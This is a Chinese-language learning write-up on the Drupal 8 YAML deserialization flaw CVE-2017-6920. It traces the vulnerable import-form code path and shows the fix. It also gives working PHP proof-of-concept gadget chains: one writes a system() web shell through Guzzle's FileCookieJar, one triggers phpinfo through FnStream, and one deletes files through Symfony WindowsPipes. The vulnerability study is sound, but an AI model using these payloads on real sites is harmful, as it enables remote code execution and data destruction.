1.背景介紹:
CVE-2017-6920是Drupal Core的YAML解析器處理不當所導緻的一個遠端代碼執行漏洞,影響8.x的Drupal Core。
Drupal介紹:
Drupal 是一個由Dries Buytaert創立的***開源的内容管理系統,用PHP語言寫成。在業界Drupal常被視為内容管理架構(CMF),而非一般意義上的内容管理系統(CMS)。
Drupal目錄:
/vendor – Drupal Core所依賴的後端庫
/profile – 貢獻和自定義配置檔案
/libraries – 第三方庫
/core /lib – Drupal核心類
/core /assets – Core使用的各種外部庫
/core /misc – Drupal Core所依賴的前端代碼
/core /includes – 低級别為子產品化的功能。比如子產品系統本身
/core /modules – Drupal核心子產品
/core /profiles – Drupal Core安裝配置檔案
YAML 介紹:
YAML是“YAML不是一種标記語言”的外語縮寫,但為了強調這種語言以資料做為中心,而不是以置智語言為重點,而用返璞詞重新命名。
它是一種直覺的能夠被電腦識别的資料序列化格式,是一個可讀性高并且容易被人類閱讀,容易和腳本語言互動,用來表達資料序列的程式設計語言。
它是類似于标準通用标記語言的子集XML的資料描述語言,文法比XML簡單很多。
2.修複方法:
static $init;
if (!isset($init))
{ // We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
因為通過設定Init_set(),将限制yaml的decode函數的功能,進而防止反序列化php的對象類型序列化資料
3.漏洞分析:
在yaml.php中存在以下decode函數的調用
是以需要在yaml類所在的檔案中找decode函數,此decode函數中調用了靜态方法getSerializer()函數
此方法說明此時應用會判斷用什麼類來解析yaml資料,如果存在yaml擴充,就調用yamlpecl來處理,否則就使用yamlsymfony類來處理,此時要尋找的漏洞點
需要滿足調用了yaml類的decode函數并且傳給decode函數的入口參數必須是我們可以控制的,是以需要去找這樣的函數
在core/modules/config/src/Form/ConfigSingleImportForm.php中存在decode函數的調用
這裡調用了$form_stare的getValue()方法,這裡要求我們必須熟悉drupal這個架構,知識儲備:
在處理表單時,有3個變量非常重要。
第一個就是$form_id,它包含了一個辨別表單的字元串。
第二個就是$form,它是一個描述表單的結構化數組。
第三個就是$form_state,它包含了表單的相關資訊,比如表單的值以及當表單處理完成時應該發生什麼。
drupal_get_form()在開始時,首先會初始化$form_state。
說明$form_state變量将會存儲我們在表單中送出的值,那麼getValue是幹啥的,我們繼續跟進一下,在FormStateInterface.php中聲明了getvalue函數的定義,具體的方法體在FormStateInterface.php中
此檔案繼承了FormStateInterface接口,并且使用了FormStateValuesTrait,此時又需要了解需要學trait
Trait 是為類似PHP 的單繼承語言而準備的一種代碼複用機制。Trait 為了減少單繼承語言的限制,使開發人員能夠***地在不同層次結構内獨立的類中複用method。
在FormStateValuesTrait.php中實作了getvalue()函數的方法體,在getvalue()函數中,将會調用NestedArray的getvalue函數,将會把我們之前"import"鍵所對應的值傳回,即此時yaml::decode就接收到我們傳遞過去的payload了
4.本地測試:
首先在其composer.json中尋找其加載了哪些代碼庫
1.存在guzzlehttp,是以可以利用其進行任意寫檔案,Guzzlehttp/guzzle代碼庫所存在的file_put_contents()
<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$tr1ple = new FileCookieJar('/tmp/shell.txt');
$payload = '<?php echo system($_POST[\'cmd\']); ?>';
$data=array(
'Name' => "tr1ple",
'Value' => "Arybin",
'Domain' => $payload,
'Expires' => time()
);
$tr1ple->setCookie(new SetCookie($data));
file_put_contents('./exp',addslashes(serialize($tr1ple)));
導出到檔案因為直接寫出來會有不可見字元, 寫在tmp目錄是因為所使用的docker環境,寫入檔案到www下權限不對,序列化後的資料必須對其中的引号進行轉義
結果:
注意:payload前面需要加上yaml的
!php/object
tag(注意一定要轉義),并且因為$data字段有Expire鍵,是以payload過一段時間将會失效,是以再次利用時需要重新生成payload
Expires:
Cookie 過期的時間。這是個 Unix 時間戳,即從 Unix 紀元開始的秒數。
換而言之,通常用 time() 函數再加上秒數來設定 cookie 的失效期。
2.利用Guzzlehttp/psr中的FnStream
如上圖所示,在析構函數中,将會調用call_user_func()函數
call_user_func — 把第一個參數作為回調函數調用
第一個參數 callback 是被調用的回調函數,其餘參數是回調函數的參數。
而此時call_user_func()的入口參數隻有一個,那麼我們此時隻能調用無參函數來測試,我們看一下其構造方法,入口參數為數組,并且将會周遊數組,将數組的鍵名前添加“_fn_”字首,因為我們需要傳遞array("close"=>"phpinfo")作為入口參數
-
poc如下:
<?php
require __DIR__."/vendor/autoload.php";
use GuzzleHttp\Psr7\FnStream;
$payload = array(
"close" => "phpinfo"
);
$tr1ple = new FnStream($payload);
file_put_contents("exp1",addslashes(serialize($tr1ple)));
結果:
3.利用/vendor/symfony/process/Pipes/WindowsPipes.php中的unlink導緻任意删除
在其89行的析構函數中,存在removeFiles()函數,我們跟進一下
在196行中我們可以看到這個函數将會周遊$files變量,取出檔案名,然後将檔案删除,而files變量是類的私有成員變量
poc為:
這個poc并沒有用到use,因為我們不需要導入windowspipes這個類,我們隻需要在執行個體化這個類後給其私有變量指派即可,也就是不存在給其構造函數傳遞參數
<?php
namespace Symfony\Component\Process\Pipes;
class WindowsPipes{
private $files = array('/tmp/tr1ple.txt');
}
$tr1ple = new WindowsPipes();
file_put_contents("exp3",addslashes(serialize($tr1ple)));
reference:
1.https://paper.seebug.org/334/
感想:
第一次嘗試着去針對CVE去熟悉一個cms架構,這種學習的方法的确讓人短時間了解了很多我之前都不會的知識,從接受惡意輸入,到觸發漏洞函數整個流程,非常可惜的一點是由于測試使用的是docker上的環境,
我想使用斷點調試,但是調試docker裡面的php配置起來太麻煩了,并且網上的方法不适用與目前的環境,還是自己對docker的使用不夠熟悉,折騰了半天還是沒能搭建成調試環境。但是也體會到開發中常用的開發技巧,
以及想要挖掘漏洞,除了需要掌握安全知識,也需要掌握一定的開發知識。